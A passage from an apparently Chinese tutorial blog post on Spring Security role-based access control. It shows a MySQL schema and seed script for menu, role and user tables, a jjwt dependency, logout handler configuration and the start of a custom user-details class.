class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1403</span>, <span class="string">&#x27;部门删除&#x27;</span>, <span class="string">&#x27;sys_dept_del&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1400</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:23&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1500</span>, <span class="string">&#x27;租户管理&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="string">&#x27;/admin/tenant/index&#x27;</span>, <span class="number">1000</span>, <span class="string">&#x27;icon-erji-zuhushouye&#x27;</span>, <span class="number">5</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:34&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1501</span>, <span class="string">&#x27;租户新增&#x27;</span>, <span class="string">&#x27;admin_systenant_add&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1500</span>, <span class="string">&#x27;1&#x27;</span>, <span class="number">0</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:25&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1502</span>, <span class="string">&#x27;租户修改&#x27;</span>, <span class="string">&#x27;admin_systenant_edit&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1500</span>, <span class="string">&#x27;1&#x27;</span>, <span class="number">1</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:25&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1503</span>, <span class="string">&#x27;租户删除&#x27;</span>, <span class="string">&#x27;admin_systenant_del&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1500</span>, <span class="string">&#x27;1&#x27;</span>, <span class="number">2</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:25&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">2000</span>, <span class="string">&#x27;系统管理&#x27;</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;/admin&#x27;</span>, <span class="number">-1</span>, <span class="string">&#x27;icon-xitongguanli&#x27;</span>, <span class="number">1</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:33&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">2100</span>, <span class="string">&#x27;日志管理&#x27;</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;/admin/log/index&#x27;</span>, <span class="number">2000</span>, <span class="string">&#x27;icon-rizhiguanli&#x27;</span>, <span class="number">5</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:33&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">2101</span>, <span class="string">&#x27;日志删除&#x27;</span>, <span class="string">&#x27;sys_log_del&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">2100</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:27&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">2200</span>, <span class="string">&#x27;字典管理&#x27;</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;/admin/dict/index&#x27;</span>, <span class="number">2000</span>, <span class="string">&#x27;icon-navicon-zdgl&#x27;</span>, <span class="number">6</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:30&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">2201</span>, <span class="string">&#x27;字典删除&#x27;</span>, <span class="string">&#x27;sys_dict_del&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">2200</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:29&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">2202</span>, <span class="string">&#x27;字典新增&#x27;</span>, <span class="string">&#x27;sys_dict_add&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">2200</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:29&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">2203</span>, <span class="string">&#x27;字典修改&#x27;</span>, <span class="string">&#x27;sys_dict_edit&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">2200</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:29&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Table structure for sys_role</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">TABLE</span> IF <span class="keyword">EXISTS</span> `sys_role`;</span><br><span class="line"><span class="keyword">CREATE TABLE</span> `sys_role`  (</span><br><span class="line">  `role_id` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">NOT NULL</span> AUTO_INCREMENT,</span><br><span class="line">  `role_name` <span class="type">varchar</span>(<span class="number">64</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `role_code` <span class="type">varchar</span>(<span class="number">64</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `role_desc` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `ds_type` <span class="type">char</span>(<span class="number">1</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;2&#x27;</span>,</span><br><span class="line">  `ds_scope` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `create_time` datetime(<span class="number">0</span>) <span class="keyword">NOT NULL</span> <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span>(<span class="number">0</span>),</span><br><span class="line">  `update_time` datetime(<span class="number">0</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span>(<span class="number">0</span>),</span><br><span class="line">  `del_flag` <span class="type">char</span>(<span class="number">1</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;0&#x27;</span>,</span><br><span class="line">  <span class="keyword">PRIMARY KEY</span> (`role_id`) <span class="keyword">USING</span> BTREE,</span><br><span class="line">  INDEX `role_idx1_role_code`(`role_code`) <span class="keyword">USING</span> BTREE</span><br><span class="line">) ENGINE <span class="operator">=</span> InnoDB AUTO_INCREMENT <span class="operator">=</span> <span class="number">2</span> <span class="keyword">CHARACTER SET</span> <span class="operator">=</span> utf8mb4 <span class="keyword">COLLATE</span> <span class="operator">=</span> utf8mb4_general_ci COMMENT <span class="operator">=</span> <span class="string">&#x27;系统角色表&#x27;</span> ROW_FORMAT <span class="operator">=</span> <span class="keyword">Dynamic</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Records of sys_role</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="string">&#x27;管理员&#x27;</span>, <span class="string">&#x27;ROLE_ADMIN&#x27;</span>, <span class="string">&#x27;管理员&#x27;</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 15:45:51&#x27;</span>, <span class="string">&#x27;2023-02-01 14:09:11&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Table structure for sys_role_menu</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">TABLE</span> IF <span class="keyword">EXISTS</span> `sys_role_menu`;</span><br><span class="line"><span class="keyword">CREATE TABLE</span> `sys_role_menu`  (</span><br><span class="line">  `role_id` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;角色ID&#x27;</span>,</span><br><span class="line">  `menu_id` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;菜单ID&#x27;</span>,</span><br><span class="line">  <span class="keyword">PRIMARY KEY</span> (`role_id`, `menu_id`) <span class="keyword">USING</span> BTREE</span><br><span class="line">) ENGINE <span class="operator">=</span> InnoDB <span class="keyword">CHARACTER SET</span> <span class="operator">=</span> utf8mb4 <span class="keyword">COLLATE</span> <span class="operator">=</span> utf8mb4_general_ci COMMENT <span class="operator">=</span> <span class="string">&#x27;角色菜单表&#x27;</span> ROW_FORMAT <span class="operator">=</span> <span class="keyword">Dynamic</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Records of sys_role_menu</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1000</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1100</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1101</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1102</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1103</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1200</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1201</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1202</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1203</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1300</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1301</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1302</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1303</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1304</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1400</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1401</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1402</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1403</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1500</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1501</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1502</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1503</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">2000</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">2100</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">2101</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">2200</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">2201</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">2202</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_role_menu` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">2203</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Table structure for sys_user</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">TABLE</span> IF <span class="keyword">EXISTS</span> `sys_user`;</span><br><span class="line"><span class="keyword">CREATE TABLE</span> `sys_user`  (</span><br><span class="line">  `user_id` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">NOT NULL</span> AUTO_INCREMENT COMMENT <span class="string">&#x27;主键ID&#x27;</span>,</span><br><span class="line">  `username` <span class="type">varchar</span>(<span class="number">64</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `password` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `salt` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `phone` <span class="type">varchar</span>(<span class="number">20</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `avatar` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `dept_id` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;部门ID&#x27;</span>,</span><br><span class="line">  `create_time` datetime(<span class="number">0</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span>(<span class="number">0</span>) COMMENT <span class="string">&#x27;创建时间&#x27;</span>,</span><br><span class="line">  `update_time` datetime(<span class="number">0</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span>(<span class="number">0</span>) COMMENT <span class="string">&#x27;修改时间&#x27;</span>,</span><br><span class="line">  `lock_flag` <span class="type">char</span>(<span class="number">1</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;0&#x27;</span>,</span><br><span class="line">  `del_flag` <span class="type">char</span>(<span class="number">1</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;0&#x27;</span>,</span><br><span class="line">  <span class="keyword">PRIMARY KEY</span> (`user_id`) <span class="keyword">USING</span> BTREE,</span><br><span class="line">  INDEX `user_idx1_username`(`username`) <span class="keyword">USING</span> BTREE</span><br><span class="line">) ENGINE <span class="operator">=</span> InnoDB AUTO_INCREMENT <span class="operator">=</span> <span class="number">2</span> <span class="keyword">CHARACTER SET</span> <span class="operator">=</span> utf8mb4 <span class="keyword">COLLATE</span> <span class="operator">=</span> utf8mb4_general_ci COMMENT <span class="operator">=</span> <span class="string">&#x27;用户表&#x27;</span> ROW_FORMAT <span class="operator">=</span> <span class="keyword">Dynamic</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Records of sys_user</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_user` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="string">&#x27;admin&#x27;</span>, <span class="string">&#x27;$2a$10$IVzj1Wd.ZQdOIWdb1htQjexU94uoNeuk1crlQ9ExVupPi0Iy1uv.C&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="string">&#x27;13812345678&#x27;</span>, <span class="string">&#x27;/admin/sys-file/2023/01/3003703388943b1e2be6dc2e78781fc3.png&#x27;</span>, <span class="number">1</span>, <span class="string">&#x27;2023-02-01 07:15:18&#x27;</span>, <span class="string">&#x27;2023-02-01 16:45:23&#x27;</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_user` (user_id, username, password, salt, phone, avatar, dept_id, create_time, update_time, lock_flag, del_flag) <span class="keyword">VALUES</span> (<span class="number">2</span>, <span class="string">&#x27;test&#x27;</span>, <span class="string">&#x27;$2a$10$IVzj1Wd.ZQdOIWdb1htQjexU94uoNeuk1crlQ9ExVupPi0Iy1uv.C&#x27;</span>, <span class="keyword">null</span>, <span class="string">&#x27;13812348765&#x27;</span>, <span class="string">&#x27;sdsdfwew&#x27;</span>, <span class="number">1</span>, <span class="string">&#x27;2023-03-01 09:35:31&#x27;</span>, <span class="string">&#x27;2023-03-01 09:35:34&#x27;</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Table structure for sys_user_role</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">TABLE</span> IF <span class="keyword">EXISTS</span> `sys_user_role`;</span><br><span class="line"><span class="keyword">CREATE TABLE</span> `sys_user_role`  (</span><br><span class="line">  `user_id` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;用户ID&#x27;</span>,</span><br><span class="line">  `role_id` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;角色ID&#x27;</span>,</span><br><span class="line">  <span class="keyword">PRIMARY KEY</span> (`user_id`, `role_id`) <span class="keyword">USING</span> BTREE</span><br><span class="line">) ENGINE <span class="operator">=</span> InnoDB <span class="keyword">CHARACTER SET</span> <span class="operator">=</span> utf8mb4 <span class="keyword">COLLATE</span> <span class="operator">=</span> utf8mb4_general_ci COMMENT <span class="operator">=</span> <span class="string">&#x27;用户角色表&#x27;</span> ROW_FORMAT <span class="operator">=</span> <span class="keyword">Dynamic</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Records of sys_user_role</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_user_role` <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="number">1</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_user_role` (user_id, role_id) <span class="keyword">VALUES</span> (<span class="number">2</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">SET</span> FOREIGN_KEY_CHECKS <span class="operator">=</span> <span class="number">1</span>;</span><br></pre></td></tr></table></figure><h5 id="token相关">token相关</h5><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 使用jar包jjwt --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>io.jsonwebtoken<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>jjwt<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>0.9.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>其他若干工具类等直接见源代码即可</p><h5 id="用户登出">用户登出</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 登出</span></span><br><span class="line">registry.and().logout().logoutUrl(<span class="string">&quot;/token/logout&quot;</span>).addLogoutHandler(<span class="keyword">new</span> <span class="title class_">SecurityLogoutHandler</span>())</span><br><span class="line">    .deleteCookies(<span class="string">&quot;JSESSIONID&quot;</span>)</span><br><span class="line">    .logoutSuccessHandler(logoutSuccessHandler());</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> LogoutSuccessHandler <span class="title function_">logoutSuccessHandler</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">PasswordLogoutSuccessHandler</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>添加自定义类<code>SecurityLogoutHandler</code>继承<code>LogoutHandler</code>处理登出时的逻辑，如删除redis中的token缓存记录等。</p><p>添加自定义类<code>PasswordLogoutSuccessHandler</code>实现<code>LogoutSuccessHandler</code>处理登出成功后的逻辑，比如跳转指定页面、记录日志、发送邮件通知等</p><h5 id="用户登录">用户登录</h5><p>自定义用户信息类继承<code>org.springframework.security.core.userdetails.User</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SysUser</span> <span class="keyword">extends</span> <span class="title class_">User</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用户ID</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Getter</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Long id;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 手机号</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Getter</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String phone;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 头像</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Getter</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String avatar;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否为网格员片区总管(0:不是,1:是)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Getter</span></span><br><span class="line">    <span class="meta">@Setter</span></span><br><span class="line">    <span class="keyword">private</span> Integer isGridHeadUser;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> SpringSecurityCoreVersion.SERIAL_VERSION_UID;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">SysUser</span><span class="params">(Long id, String phone, String avatar, String username, String password, <span class="type">boolean</span> 